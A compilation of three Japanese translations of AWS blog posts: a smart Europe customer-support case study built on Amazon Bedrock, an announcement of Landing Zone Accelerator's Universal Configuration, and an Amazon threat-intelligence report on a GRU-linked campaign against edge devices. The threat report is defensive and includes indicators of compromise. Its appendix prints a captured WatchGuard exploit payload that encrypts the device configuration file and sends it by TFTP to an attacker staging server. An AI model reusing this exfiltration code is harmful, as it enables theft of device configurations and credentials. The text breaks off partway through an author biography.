本記事は 2025 年 12 月 10 日に公開された How smart Europe Revolutionized Automotive Customer Support with Amazon Bedrock を翻訳したものです。 自動車メーカーにとって、新型車のリリース、無線通信 (OTA) によるソフトウェアアップデート、コネクテッドサービスの開始は、新鮮な顧客体験を生み出します。これらのイノベーションは運転体験の向上に役立つ一方で、自動車所有者から車両の機能、充電機能、メンテナンス手順、デジタルサービスに関する多数の問い合わせを生み出します。 自動車メーカーが現代の自動車業界で競争力を維持するためには、絶え間ないイノベーションサイクルが不可欠です。一方で、イノベーションのスピードは、新しい技術を迅速に習得し、増え続ける車両の機能やサービスを利用する顧客に専門的な案内を提供しなければならないカスタマーエンゲージメントセンターの担当者にますます負荷をかけています。 特に、smart Europeのカスタマーエンゲージメントチームは次のような課題に直面していました。 サポート問い合わせの急激な増加: 製品の発売や機能の更新が頻繁に行われていたため、担当者が対応する問い合わせの量が多く、顧客の待ち時間にボトルネックが生じていました。人手に頼ったプロセスで大量の問い合わせを処理するためにsmart Europeの担当者を増やす必要が生じ、運用コストが大幅に増加しました。 解決に要する時間の増加: 時間がかかる人手に頼ったプロセスであったため、問い合わせの前さばき、優先順位づけ、分類、解決という一連のプロセスを経て、顧客の待ち時間を長引かせることとなりました。 必要な知識の増大と一貫性のないサービス品質: 基本的な車両操作から高度なコネクテッドカー機能まで、自動車についてのあらゆるテーマについて専門的な案内を行う必要が生じ、サポート担当者に大きな負荷がかかりました。その結果、サポート担当者や分野によって、サービスの質にばらつきが生じていました。 根本的な効率の問題に対処することなく、担当者の拡充やサポート時間を延長する従来の業務拡大アプローチをとった場合、コストが大幅に増加していたと考えられます。 これらの課題の解決を支援するために、AWS は smart Europe と協力し、 smart.AI Case Handler という新しいサポートツールを開発しました。このツールは、問い合わせに関するインサイトとカスタマイズされた対応を提案することで、 smart Europe のサポート担当者の効率を高めます。このブログ記事では、 smart Europe の smart.AI Case Handler の実装について詳しく説明します。  smart Europe について シュトゥットガルトのラインフェルデン＝エヒターディンゲンに本社を置く smart Europe GmbH は、電動モビリティの未来を開拓しています。2020 年以降、 smart は自動車企業として初めて 100% 電気自動車に切り替えました。これにより、アーバンプレミアムモビリティ、電気自動車、コネクテッドモビリティソリューションの先駆者としての地位を確立しました。 自動車業界は急速に進化しています。電気自動車技術、自動運転機能、コネクテッドカーサービスは自動車業界を変革しています。 smart Europe は、変化する消費者の要求と規制要件を満たすために常に新製品と高度な機能を導入しています。しかし、このイノベーションサイクルは予期せぬ課題を生み、カスタマーサポートの複雑さと量は急激に増大しました。 解決策 smart Europe は、自動車企業のカスタマーサポート特有の課題を解決する自動化されたインテリジェントでスケーラブルなサポートソリューションの必要としていました。この目的のために、 smart Europe は AWS と協力して smart.AI Case Handler と呼ばれる包括的な生成 AI ソリューションを実装しました。 smart.AI Case Handler は、過去の問い合わせ履歴とガイドラインを含む smart Europe のナレッジベースに基づき、各問い合わせのインサイトとカスタマイズされた対応を提案するサポート担当者向けの支援ツールです。ユーザーエクスペリエンスの観点では、サポート担当者が Salesforce（smart Europe の CRM システム）で問い合わせ内容を開くと、システムは AI が生成した問い合わせの概要を表示し、内容確認後に顧客への対応に活用できる回答を担当者に提案します。 堅牢でスケーラブルなソリューションを構築するために、 smart Europe は複数の AWS サービスを使用するサーバーレスアーキテクチャを実装しました。これらのサーバーレスサービスは、トラフィックや使用量の変化に応じて自動的にスケーリングされるため、コストを節約し、アプリのパフォーマンスに影響を与えることなくトラフィックの急激な急増にも対応できます。 smart.AI Case Handler は 2 つの補完的な自動ワークフローによって動作し、これらが連携して AI を活用した包括的なサポートを提供します。 ワークフロー 1: 問い合わせケースのタグ付け — 新しい問い合わせケースが作成された瞬間に自動的に分類して優先順位を付け、各分野の専門家に適切に転送できるようにします。 ワークフロー 2: インサイト生成 — AI が生成した分析、類似問い合わせケース、および問い合わせケース対応の進展に応じて動的に更新される対応案を提供します。 これらの２つのワークフローを用いたアプローチにより、問い合わせケースは作成段階から適切に分類されるとともに、ライフサイクル全体を通じて関連するインサイトが継続的に拡充されます。次のセクションでは、各ワークフローの仕組みについて詳しく説明します。 ワークフロー 1: 問い合わせケースのタグ付け smart.AI Case Handler の重要な部分は、各顧客の問い合わせケースにタグを付けることです。 受信した問い合わせケースは分類され、それぞれの専門家が優先的に引き受けます。 smart.AI Case Handler は、タグ付けされた問い合わせケースに基づいて正確なインサイトを生成できます。 図 1 のアーキテクチャ図は、問い合わせケースのタグ付けワークフローがどのように実装されているかを示しています。 図 1: イベント駆動型の問い合わせケースのタグ付けワークフロー 問い合わせケースタグ付け ワークフローでは、次の手順に従うイベント駆動型ワークフローにより、新規の顧客問い合わせケースを迅速に分類できます。 問い合わせケース作成: Salesforce CRM で新しい問い合わせケースが作成されます。 イベント公開: Salesforce EventBus が問い合わせケース作成イベントを送信します。 イベントキャプチャ: Amazon EventBridge はイベントを受信し、 Amazon Simple Queue Service に転送します。 バッファリング: Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 処理トリガー: Amazon SQS は AWS Lambda 関数の“ Step Function Scheduler“ をトリガーします。 オーケストレーション: Lambda 関数は 生成AI ベースのマルチステップ処理用の AWS Step Functions ワークフローを開始します。一連の AWS Lambda 関数が Amazon Bedrock エンドポイントを利用して新しい問い合わせケースのタグを生成します。 結果の統合: ワークフローが完了すると、結果は Salesforce API 経由で返送されます。 この自動タグ付けにより作成の瞬間から問い合わせケースが適切に分類されるため、手作業による介入なしでより効率的な転送と優先順位付けが可能になります。 ワークフロー 2: インサイト生成 インサイト生成ワークフローは以下を提供します。 いくつかの段落にまとめられた問い合わせケースの説明、進捗ステップ、お客様の過去の活動 過去に解決された同様の問い合わせケース 資料への参照 URL を含むナレッジベースの抜粋 サポート担当者への顧客対応案。 図 2 の下の図は、このワークフローがどのように実装されたかを示しています。 図 2: 問い合わせケース更新のための高度な AI 分析 インサイト生成ワークフローは、問い合わせケースの作成と更新の両方において、 AI が生成した分析と回答案をサポート担当者に提供します。以下のステップで実行されます。 問い合わせケースは新しい情報 (コメント、通話履歴、社内投稿、メールなど) で更新されます。 Salesforce EventBus が問い合わせケース更新イベントを送信します。 Amazon EventBridge はイベントを受信し、 Amazon SQS に転送します。 Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 Amazon SQS は、リソースが使用可能になると AWS Lambda 関数をトリガーします。 AWS Lambda 関数は AWS ステップ関数ワークフローを開始して包括的な分析を行います。 AWS Step Functions ワークフローは、生成 AI モデルのエンドポイントと Amazon Bedrock ナレッジベースを活用した一連のステップを通じてインサイトを生成します (インサイト生成ロジックの詳細を参照)。 生成されたインサイトは、暗号化された Amazon S3 バケットに (キャッシュされた結果として) 保存されます。 サポート担当者が Salesforce で [インサイトを生成] をクリックすると、 Amazon API Gateway は Amazon S3 から事前に生成されたインサイトを取得し、すぐにアクセスできるようにします。 この先回りしたアプローチにより、担当者が必要とする前にインサイトを準備できるため、質の高い AI 支援を維持しながら待ち時間をなくすことができます。 インサイト生成ロジックの詳細 インサイト生成のビジネスロジックを実装するために、 smart Europe の AI チームは、以下の図 3 に示す AWS Step Functions ワークフローを実装しました。 図 3: 詳細なステップ関数のワークフロー AWS Step Functions ワークフローは、複数の AI オペレーションを取りまとめ、サポート担当者のレビューに役立つ包括的なインサイトを生成します。 問い合わせケースの読み込み: 問い合わせの詳細や顧客の過去の問い合わせを含む、すべての関連データを Salesforce から抽出します。 問題の要約: Amazon Bedrock の LLM を使用して、お客様の問題の構造化された概要を作成します。 並列ナレッジ検索: Amazon Aurora (pg_vector 利用) で作成された Amazon Bedrock ナレッジベース の複数のデータソースを 同時に検索すると、以下が可能になります。 ナレッジ記事ステップ: ナレッジベースから関連ドキュメントを取得 類似事例ステップ: 意味的に類似した過去の事例を特定します。 ソリューションの要約: 問題の概要、ナレッジ記事、および類似事例を統合して、ソリューションを提案します。 並列でのインサイト生成: 問い合わせケースの要約: 簡潔な問い合わせケース概要を作成します。 回答を生成: 担当者がカスタマイズして送信できるように、回答の下書きを作成します。 技術的課題の克服 このアーキテクチャを実装するにあたり、 smart Europe は３つの固有の課題を解決する必要がありました。 課題 1: 担当者の待ち時間が長い 初期のイテレーションでは、サポート担当者が [インサイトを生成] をクリックしたときに、問い合わせケースのタグ付けと応答の生成が開始されていました。そのため、担当者は AWS Step Functions のワークフローが完了するまで 1 ～ 2 分待つ必要があり、ユーザーエクスペリエンスが許容できないものになっていました。 解決策: 担当者が要求する前にインサイトを生成してキャッシュする先回りした処理を実装しました。これにより、ユーザーエクスペリエンスは待ち時間の長い処理から即時のインサイト提供へと変わりました。 課題 2: API スロットリングとレート制限 Amazon Bedrock には、モデルごとに異なる 推論レート制限 があります。ピーク時には、問い合わせケースの同時更新による負荷がこれらの制限を超え、その結果、スロットリングが発生していました。 解決策: アプリケーションは Amazon SQS を使用してリクエストをバッファし、同時実行数の制限が予約された AWS Lambda 関数である“Step Function Scheduler“ を利用して 生成 AI エンドポイントへの推論リクエストのペースを制御します。このメカニズムは、並行して実行されている AWS Step Functions によって開始される 生成 AI 推論が Amazon Bedrock のランタイムクォータを超えないようにし、 Amazon Bedrock エンドポイントのスロットリングを防ぐのに役立ちます (パターンの詳細については、 このブログ投稿 の図 4 を参照してください)。さらに、 AWS Step Functions 内では エクスポネンシャルバックオフとジッター が適用され、アプリケーションの耐障害性が高まります。 課題 3: 過剰な更新トリガー 新しい AI インサイトが必要ない場合でも、アプリケーションは問い合わせケース更新のたびに処理していたため、不必要な負荷とコストが発生していました。 解決策: smart Europe は、変更タイプ、コンテンツの重要性、ビジネスルールに基づいて関連する更新のみを選択的に処理するフィルタリング機構を AWS Lambda 関数で開発しました。 変革をもたらす結果 Amazon Bedrock を利用した自動化の影響は、大きな変革をもたらしました。わずか 4 人の開発者 (1 人の AI エンジニア、1 人のクラウドアーキテクト、2 人 の CRM エンジニア) で構成された小規模なチームが 3 か月でソリューションを設計して提供した結果、smart Europe は以下を達成しました。 問い合わせ解決時間を 40% 短縮: サポート担当者は AI の活用により、顧客からの問い合わせをはるかに迅速に解決できます。 ファーストコンタクトによる解決が 20% 増加: フォローアップのやり取りを必要とせずに解決できる顧客の問題が増えています。 10,000 件を超える問い合わせケースを処理: このソリューションは、すでに現実世界での多くの実績を積み上げています 2025 年の当初計画予算から 30% の節約見込み: 効率性の向上と処理時間の短縮により、投資収益率が大幅に向上します。 今後、smart Europeの AI チームは、製品の複雑さが増すにつれて、エージェント機能でソリューションを充実させることを計画しています。 結論: 自動車業界の顧客体験の向上 smart Europe の実装は、現代の自動車企業が日々直面している特有の課題を生成 AI と AWS のクラウド技術がどのように解決できるかを示しています。 smart Europe の AI チームは、自動化と人間の専門知識を組み合わせることで、コストを節約して顧客満足度を向上させながら、イノベーション・サイクルとともに成長するスケーラブルなソリューションを構築しました。 smart Europe の成果に限らず、この実装は急速な技術進化を遂げている業界全体で AI を活用したカスタマーサポートがもたらす変革のポテンシャルを示しました。自動車企業が高度なコネクテッドサービスと自律的機能を統合し続ける中、 smart.AI Case Handler のようなソリューションは、サポート効率を劇的に向上させながら、優れた顧客体験を大規模に維持する実証済みの事例となっています。 サポート量の増加、解決時間の増大、チーム全体での知識の横展開など、同様の課題に直面している場合、 Amazon Bedrock は独自のインテリジェントなサポートソリューションの構築を支援します。Amazon Bedrock を始めて、カスタマーサポート業務の変革に向けた第一歩を踏み出しましょう。 Levent Kent Levent Kent は、アマゾンウェブサービス (AWS) のシニア生成 AI ソリューションアーキテクトです。銀行、教育、ヘルスケアから自動車、製造に至るまで、さまざまな分野で 14 年以上にわたるサービス提供経験とアーキテクチャの専門知識を有します。現在は、自動車や製造業のお客様とのコラボレーションを通じて、スケーラブルで革新的な生成 AI ソリューションの設計と構築を支援することで成功を収めています。空き時間には、友達と踊ったり歌ったりするのが好きです。 Andreas Rickert Andreas Rickert は、smart Europe のシニアデータエンジニア兼データアーキテクトです。現在は smart.AI イニシアチブに注力し、革新的な生成AI搭載製品の開発を推進しています。Andreas はクラウドテクノロジーに重点を置き、smart Europe がデータと AI の力を活用して変革の成果を実現できるようにする、スケーラブルで最先端のデータアーキテクチャを設計および実装しています。空き時間には、仕事と個人的な情熱のバランスをとりながら、運動を通して活動的でいることを楽しんでいます。 Bastian Klein DevOps、コンテナテクノロジー、クラウドアーキテクチャで 10 年以上の経験を持つ Bastian Klein は、AWS のグローバルソリューションアーキテクトとして、自動車および製造業のインフラのモダナイズや複雑なクラウドトランスフォーメーションを支援しています。 Hidayat Heydarov Hidayat Heydarov は、 smart Europe でデータ & AI プロダクトマネージャーを務め、データおよびビジネスインテリジェンスプラットフォームの開発とともに、AI製品ソリューションを推進しています。Hidayat は、データ、人工知能、自動車セクターの専門知識における幅広い経歴を活かして、部門を超えたアジャイルチームと協力して、生のデータを実用的な洞察やインテリジェントシステムに変換しています。データ戦略を考える以外では、本に没頭したり、ブログを通じて洞察を共有したりすることを楽しんでいます。 本記事は Solutions Architect の坂本 和穂 が翻訳しました。

本ブログは 2025 年 11 月 20 日に公開された AWS Blog “ Introducing the Landing Zone Accelerator on AWS Universal Configuration and LZA Compliance Workbook ” を翻訳したものです。 AWS は、 Landing Zone Accelerator on AWS (LZA) の最新のサンプルセキュリティベースラインである Universal Configuration の提供を開始しましたのでお知らせします。Universal Configuration は、世界各国の政府機関を含む規制の厳しい業界のお客様との長年の現場経験と、AWS パートナーや業界の専門家との協議に基づいて開発されました。規制対象のワークロードに対してセキュリティとコンプライアンスを大規模に実装できるよう支援します。最新の AWS セキュリティベストプラクティスに基づく高い基準により、Universal Configuration はさまざまな地域や業界セクターのコンプライアンスフレームワークからの技術的コントロール要件に対応できます。Universal Configuration のマルチアカウントセキュリティアーキテクチャは、現在の多様なワークロード要件をホストするための基盤を提供するとともに、将来の組織を支える 生成 AI や エージェンティック AI ソリューションの導入にも柔軟に対応できます。また、 AWS Well-Architected の原則に基づいた包括的なセキュリティおよびコンプライアンス重視の環境を数時間でデプロイでき、数か月に及ぶ複雑な計画と設計を大幅に短縮できます。 組織が成長するにつれて、新しいセキュリティコンプライアンス認証の取得や遵守が求められます。LZA と Universal Configuration は、セキュリティとコンプライアンスの取り組みにおいて、あらゆる規模とフェーズの組織を支援します。デプロイの速さ、ステップバイステップのドキュメント、コンプライアンスリソースにより、従来のセキュリティ評価・認証取得のプロセスを数ヶ月短縮し、より確実で良好な監査結果を得やすくなります。これにより、セキュリティとコンプライアンスを確保しながらも、ビジネスの成長にリソースを投資する自由度が高まります。 Universal Configuration は、組織が以下を実現するのに役立ちます。 AWS におけるセキュアなマルチアカウント環境のデプロイを自動化 AWS Well-Architected ベストプラクティスに基づく基盤となるセキュリティコントロール デプロイ後もすべての環境に同一のセキュリティコントロールを確実に適用 ネイティブの AWS セキュリティ、アイデンティティ、コンプライアンスサービスを有効化して統合 システムレイヤー全体にコントロールを実装 組織全体のセキュリティアーキテクチャ 境界およびリソース固有の予防的コントロール、プロアクティブコントロール、検出コントロール 複数の AWS リージョンにわたるレジリエンス、ディザスタリカバリ、アクティブフェイルオーバーのサポート セキュリティとコンプライアンス対応の基盤を確立 組み込みの AWS セキュリティベストプラクティスと技術的な実装ステートメント グローバルおよび業界固有のコンプライアンスフレームワーク全体に LZA の機能をマッピング 数ヶ月ではなく数時間で何百ものコントロールをデプロイ LZA Compliance Workbook LZA エンジンは、4 年以上にわたって AWS におけるセキュアなマルチアカウント環境を迅速にデプロイするための信頼できるツールとして活用されてきました。また、環境の運用に使用される AWS サービスに対してのみ料金が発生するため、コスト効率も優れています。 LZA Compliance Workbook は AWS Artifact で新たに公開されたリソースで、Universal Configuration と併せて利用できます。これは、Universal Configuration が NIST 800-53 Rev5、CMMC/NIST 800-171、ISO-27001、HIPAA、C5:2020、NATO D-32 (Appendix B)、DoD CCI などのフレームワークの要件にどのように対応できるかを示す詳細なコントロールマッピングを含む、これまでにない画期的なリソースです。 LZA Compliance Workbook は、最新の Universal Configuration ベースラインを反映するために定期的にメンテナンスされており、今後のリリースでは追加のコンプライアンスマッピングが含まれる予定です。このワークブックには、Universal Configuration のデプロイファイルに基づく詳細なセキュリティ設定の説明と、セキュリティ機能をコンプライアンスに適した形式に変換するコントロール要件のマッピングおよび実装ステートメントが含まれています。AWS セキュリティベストプラクティスとグローバルなコンプライアンスの専門知識を組み合わせることで、Universal Configuration は一貫したセキュリティを実現しながら、地域や業界の要件を満たすことも支援します。 使用開始方法 Landing Zone Accelerator on AWS の Universal Configuration の使用を開始するには、 LZA 実装ガイド で、LZA を使用したデプロイの手順、ユースケース、考慮事項を確認できます。 LZA Compliance Workbook は AWS Artifact から今すぐダウンロードでき、 通知を設定 して、将来のバージョンがリリースされたときにメールを受け取ることができます。デプロイファイルと追加の技術的な実装ガイダンスは、 GitHub の Universal Configuration サンプルおよびドキュメントページ で確認できます。また、監査やアドバイザリーの取り組み、クラウド移行、LZA Universal Configuration のデプロイ、その他のサービスについては、 AWS Partner Network (APN) をご覧ください。 AWS Partner Finder ツール にアクセスし、 Landing Zone Accelerator でソリューションを検索すると、最新の LZA パートナーサービスを確認できます。 ご質問やフィードバックがある場合には、AWS サポートにお問い合わせください。 Kevin Donohue Kevin は AWS のシニアセキュリティコンプライアンスエンジニアで、AWS のお客様がセキュリティとコンプライアンスの目標を達成するためのソリューションとリソースを構築しています。2024 年に AWS プロフェッショナルサービスの Landing Zone Accelerator チームに参加する前は、2019 年から AWS Security に所属し、FedRAMP コンプライアンスと責任共有モデルを専門としていました。 Christine Screnci Christine は AWS のプリンシパルテクニカルプロダクトマネージャーで、エンタープライズレベルのソリューションの開発とスケーリングを専門としています。2016 年に AWS に入社し、グローバルにスケールするソリューションを通じて、世界中の公共部門のお客様の移行とモダナイゼーションの取り組みを支援してきました。仮説駆動型の開発と実験を通じて、AWS テクノロジーによるお客様体験の向上に情熱を注いでいます。 Bhavish Khatri Bhavish は AWS のシニアデリバリーエンジニアで、大規模な組織がコンプライアンス目標を達成するためのエンタープライズスケールのソリューションを構築しています。2018 年に AWS に入社し、マルチアカウント AWS デプロイを専門とし、LZA と Universal Configuration ソリューションに注力しています。さまざまなセクターにおけるグローバルなコンプライアンスフレームワークと規制要件に沿った、セキュアでスケーラブルなクラウド環境の構築を組織が実現できるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 12 月 15 日に公開された AWS Blog “ Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure ” を翻訳したものです。 2025 年の締めくくりとして、Amazon Threat Intelligence は、重要インフラを標的とした攻撃において大きな進化を示す、数年にわたるロシア国家支援型サイバー攻撃キャンペーンに関する知見を共有します。このキャンペーンでは、設定ミスのあるお客様のネットワークエッジデバイスが主要な初期アクセスベクトルとなり、脆弱性を悪用する活動は減少するという戦術的な転換が見られました。この戦術的な適応により、認証情報の窃取や被害組織のオンラインサービスおよびインフラストラクチャへのラテラルムーブメント (横方向への移動) という同じ攻撃目的を達成しながら、脅威アクターの露出とリソース消費を削減できるようになっています。 2026 年に向けて、組織はネットワークエッジデバイスのセキュリティ確保と認証情報リプレイ攻撃の監視を優先し、この永続的な脅威から防御する必要があります。Amazon のテレメトリで観測された既知の Sandworm (APT44 や Seashell Blizzard としても知られる) の活動との攻撃インフラの共通点と、一貫した標的パターンに基づき、この活動クラスターがロシア連邦軍参謀本部情報総局 (GRU) に関連している可能性が高いと判断しています。このキャンペーンは、西側の重要インフラ、特にエネルギーセクターに対する継続的な注力を示しており、2021 年から現在まで活動が継続しています。 技術的な詳細 キャンペーンの範囲と標的: Amazon Threat Intelligence は、2021 年から 2025 年にかけてグローバルインフラストラクチャに対する継続的な標的型攻撃を観測しており、特にエネルギーセクターに焦点が当てられています。このキャンペーンは、戦術の明確な進化を示しています。 タイムライン: 2021〜2022 年 : Amazon MadPot が WatchGuard の悪用 (CVE-2022-26318) を検出。設定ミスのあるデバイスへの標的活動を観測 2022〜2023 年 : Confluence の脆弱性悪用 (CVE-2021-26084、CVE-2023-22518)。設定ミスのあるデバイスへの標的活動が継続 2024 年 : Veeam の悪用 (CVE-2023-27532)。設定ミスのあるデバイスへの標的活動が継続 2025 年 : 設定ミスのあるお客様のネットワークエッジデバイスへの継続的な標的型攻撃。N-day エクスプロイト/ゼロデイエクスプロイト活動の減少 主な標的: 西側諸国のエネルギーセクター組織 北米および欧州の重要インフラプロバイダー クラウドホスト型ネットワークインフラストラクチャを持つ組織 一般的に標的となるリソース: エンタープライズルーターおよびルーティングインフラストラクチャ VPN コンセントレータ (VPN 集約装置) およびリモートアクセスゲートウェイ ネットワーク管理アプライアンス コラボレーションおよび Wiki プラットフォーム クラウドベースのプロジェクト管理システム 管理インターフェイスが露出した、設定ミスのある「容易に狙える標的」であるお客様のデバイスを標的にすることで、同じ攻撃目的を達成できます。つまり、重要インフラネットワークへの永続的なアクセスと、被害組織のオンラインサービスにアクセスするための認証情報の窃取です。脅威アクターの活動ペースの変化は、懸念される進化を示しています。お客様の設定ミスを標的とする活動は少なくとも 2022 年から継続していますが、この脅威アクターは 2025 年にこの活動に継続的に注力しながら、ゼロデイエクスプロイトおよび N-day エクスプロイトの使用を減少させました。これにより、より検出されやすい脆弱性悪用攻撃を通じて活動が露見するリスクを大幅に低減しています。 認証情報の窃取活動 被害組織の認証情報を窃取する手法を直接観測していませんが、複数の指標からパケットキャプチャとトラフィック分析が主要な収集方法であることを示しています。 時間分析 : デバイスの侵害から被害者のサービスに対する認証試行までの時間差は、能動的な認証情報の窃取ではなく受動的な収集を示唆しています 認証情報の種類 : オンラインサービスへのアクセスに被害組織の認証情報 (デバイスの認証情報ではない) が使用されていることは、ユーザー認証トラフィックの盗聴を示しています 既知の攻撃手法 : Sandworm の活動には一貫してネットワークトラフィック盗聴機能が含まれています 戦略的な位置取り : お客様のネットワークエッジデバイスを標的にすることで、脅威アクターは転送中の認証情報を盗聴できる位置に配置されます インフラストラクチャの標的化 AWS でホストされているインフラストラクチャの侵害: Amazon のテレメトリは、AWS でホストされているお客様のネットワークエッジデバイスに対する組織的な活動を明らかにしています。これは AWS の脆弱性によるものではなく、お客様が設定ミスをしたデバイスであると考えられます。ネットワーク接続分析では、脅威アクターが制御する IP アドレスが、お客様のネットワークアプライアンスソフトウェアを実行している侵害された EC2 インスタンスへの永続的な接続を確立していることが示されています。分析の結果、複数の影響を受けたインスタンス全体で、インタラクティブなアクセスとデータ取得と一致する永続的な接続が明らかになりました。 認証情報リプレイ活動: 被害者のインフラストラクチャへの直接的な侵害に加えて、被害組織のオンラインサービスに対する体系的な認証情報リプレイ攻撃を観測しました。観測された事例では、脅威アクターは AWS でホストされているお客様のネットワークエッジデバイスを侵害し、その後、被害組織のドメインに関連付けられた認証情報を使用して、そのオンラインサービスに対する認証を試みました。これらの特定の試行は失敗しましたが、デバイスの侵害後に被害者の認証情報を使用した認証試行が行われるパターンは、脅威アクターが侵害されたお客様のネットワークインフラストラクチャから認証情報を窃取し、標的組織のオンラインサービスに対してリプレイしているという私たちの分析を裏付けています。脅威アクターのインフラストラクチャは、2025 年を通じて、以下を含む重要セクター全体の複数の組織の認証エンドポイントにアクセスしました。 エネルギーセクター : 電力会社、エネルギープロバイダー、およびエネルギーセクターのクライアントを専門とするマネージドセキュリティサービスプロバイダー テクノロジー/クラウドサービス : コラボレーションプラットフォーム、ソースコードリポジトリ 通信 : 複数のリージョンにわたる通信プロバイダー 地理的分布: 標的活動はグローバルな範囲に及んでいます。 北米 欧州 (西欧および東欧) 中東 標的活動は、直接的な運用者と重要インフラネットワークへのアクセスを持つサードパーティのサービスプロバイダーの両方を含む、エネルギーセクターのサプライチェーンへの継続的な注力を示しています。 キャンペーンの流れ: AWS でホストされているお客様のネットワークエッジデバイスを侵害する ネイティブのパケットキャプチャ機能を活用する 盗聴したトラフィックから認証情報を窃取する 被害組織のオンラインサービスおよびインフラストラクチャに対して認証情報をリプレイする ラテラルムーブメントのための永続的なアクセスを確立する 「Curly COMrades」との攻撃インフラの共通性 Amazon Threat Intelligence は、Bitdefender が「Curly COMrades」として追跡しているグループとの攻撃インフラの共通点を特定しました。これらがより広範な GRU キャンペーン内の補完的な活動を表している可能性があると考えています。 Bitdefender のレポート : 侵害後のホストベースの攻撃手法 (EDR 回避のための Hyper-V 悪用、カスタムインプラント CurlyShell/CurlCat) Amazon のテレメトリ : 初期アクセスベクトルとクラウドピボット手法 このような役割分担 (一方のクラスターがネットワークアクセスと初期侵害に注力し、もう一方がホストベースの永続化と回避を担当する) は、より広範なキャンペーン目標を支援する専門化されたサブクラスターという GRU の活動パターンと一致しています。 Amazon の対応と阻止活動 Amazon は、高度な脅威アクターを積極的に調査し阻止することで、お客様とより広範なインターネットエコシステムの保護に引き続き取り組んでいます。 即時対応アクション: 侵害されたネットワークアプライアンスリソースを持つ影響を受けたお客様を特定し、通知 侵害された EC2 インスタンスの即時修復を支援 業界パートナーおよび影響を受けたベンダーとインテリジェンスを共有 セキュリティ調査を支援するため、ネットワークアプライアンスベンダーに観測結果を報告 阻止活動の効果: 協調的な取り組みにより、この活動を発見して以来、活動中の脅威アクターのオペレーションを阻止し、この脅威活動サブクラスターが利用可能なアタックサーフェスを削減しました。Amazon は引き続きセキュリティコミュニティと協力してインテリジェンスを共有し、重要インフラを標的とする国家支援型の脅威に対して共同で防御していきます。 組織の防御 2026 年に向けた優先対応事項 組織は、この活動パターンの証拠を積極的に監視する必要があります。 1. ネットワークエッジデバイスの監査 すべてのネットワークエッジデバイスで予期しないパケットキャプチャファイルやユーティリティがないか監査する デバイス設定で露出した管理インターフェイスがないか確認する 管理インターフェイスを分離するためにネットワークセグメンテーションを実装する 強力な認証を適用する (デフォルト認証情報の変更、MFA の実装) 2. 認証情報リプレイの検出 ネットワークデバイス管理インターフェイスとオンラインサービス間での認証情報の再利用がないか認証ログを確認する 予期しない地理的位置からの認証試行を監視する 組織のオンラインサービス全体で認証パターンの異常検出を実装する デバイス侵害の疑いがある場合、遅延した認証情報リプレイ試行がないか延長された時間枠を確認する 3. アクセス監視 予期しない送信元 IP からルーター/アプライアンス管理ポータルへのインタラクティブセッションを監視する ネットワークデバイス管理インターフェイスが意図せずインターネットに露出していないか確認する 認証情報を露出させる可能性のある平文プロトコルの使用 (Telnet、HTTP、暗号化されていない SNMP) を監査する 4. IOC の確認 エネルギーセクター組織および重要インフラ運用者は、以下に記載された IOC からの認証試行がないかアクセスログの確認を優先する必要があります。 AWS 固有の推奨事項 AWS 環境では、以下の保護対策を実装してください。 ID およびアクセス管理: 可能な限り、ID プロバイダーと IAM ロールを使用した ID フェデレーションで AWS リソースおよび API へのアクセスを管理する 詳細については、 IAM ユーザーガイド の IAM ポリシーの作成 を参照してください ネットワークセキュリティ: セキュリティグループに最小権限のルールを実装する 踏み台ホストアクセスを使用してプライベートサブネットに管理インターフェイスを分離する ネットワークトラフィック分析のために VPC Flow Logs を有効にする 脆弱性管理: Amazon Inspector を使用して、Amazon EC2 インスタンスのソフトウェアの脆弱性と意図しないネットワークの露出を自動的に検出してスキャンする 詳細については、 Amazon Inspector ユーザーガイド を参照してください インスタンス上のオペレーティングシステムとアプリケーションを定期的にパッチ適用、更新、保護する 検出と監視: API アクティビティ監視のために AWS CloudTrail を有効にする 脅威検出のために Amazon GuardDuty を設定する 認証情報リプレイパターンがないか認証ログを確認する IOC (侵害の痕跡) IOC 値 IOC タイプ 初回観測 最終観測 注釈 91.99.25[.]54 IPv4 2025-07-02 現在 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 185.66.141[.]145 IPv4 2025-01-10 2025-08-22 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 51.91.101[.]177 IPv4 2024-02-01 2024-08-28 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 212.47.226[.]64 IPv4 2024-10-10 2024-11-06 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 213.152.3[.]110 IPv4 2023-05-31 2024-09-23 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 145.239.195[.]220 IPv4 2021-08-12 2023-05-29 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 103.11.190[.]99 IPv4 2021-10-21 2023-04-02 WatchGuard 設定ファイルを窃取するために使用された侵害された正規ステージングサーバー 217.153.191[.]190 IPv4 2023-06-10 2025-12-08 偵察と標的選定に使用された長期インフラストラクチャ 注: 特定されたすべての IP は、脅威アクターにとって複数の目的に使用されているか、正規の運用を継続している可能性のある侵害された正規サーバーです。組織は自動的にブロックするのではなく、一致した場合のコンテキストを調査する必要があります。記載された期間中にこれらの IP がルーター管理インターフェイスにアクセスし、オンラインサービスへの認証を試行していることを観測しました。 技術付録: CVE-2022-26318 エクスプロイトペイロード 以下のペイロードは、2022 年の WatchGuard 悪用キャンペーン中に Amazon MadPot によってキャプチャされたものです。 from cryptography.fernet import Fernet import subprocess import os key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=' with open('/etc/wg/config.xml', 'rb') as config_file: buf = config_file.read() fernet = Fernet(key) enc_buf = fernet.encrypt(buf) with open('/tmp/enc_config.xml', 'wb') as encrypted_config: encrypted_config.write(enc_buf) subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99']) os.remove('/tmp/enc_config.xml') このペイロードは、脅威アクターの攻撃手法を示しています。窃取した設定データを暗号化し、TFTP 経由で侵害されたステージングインフラストラクチャに送信した後、フォレンジック証拠を削除しています。 この投稿に関するご質問がある場合は、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。Amazon 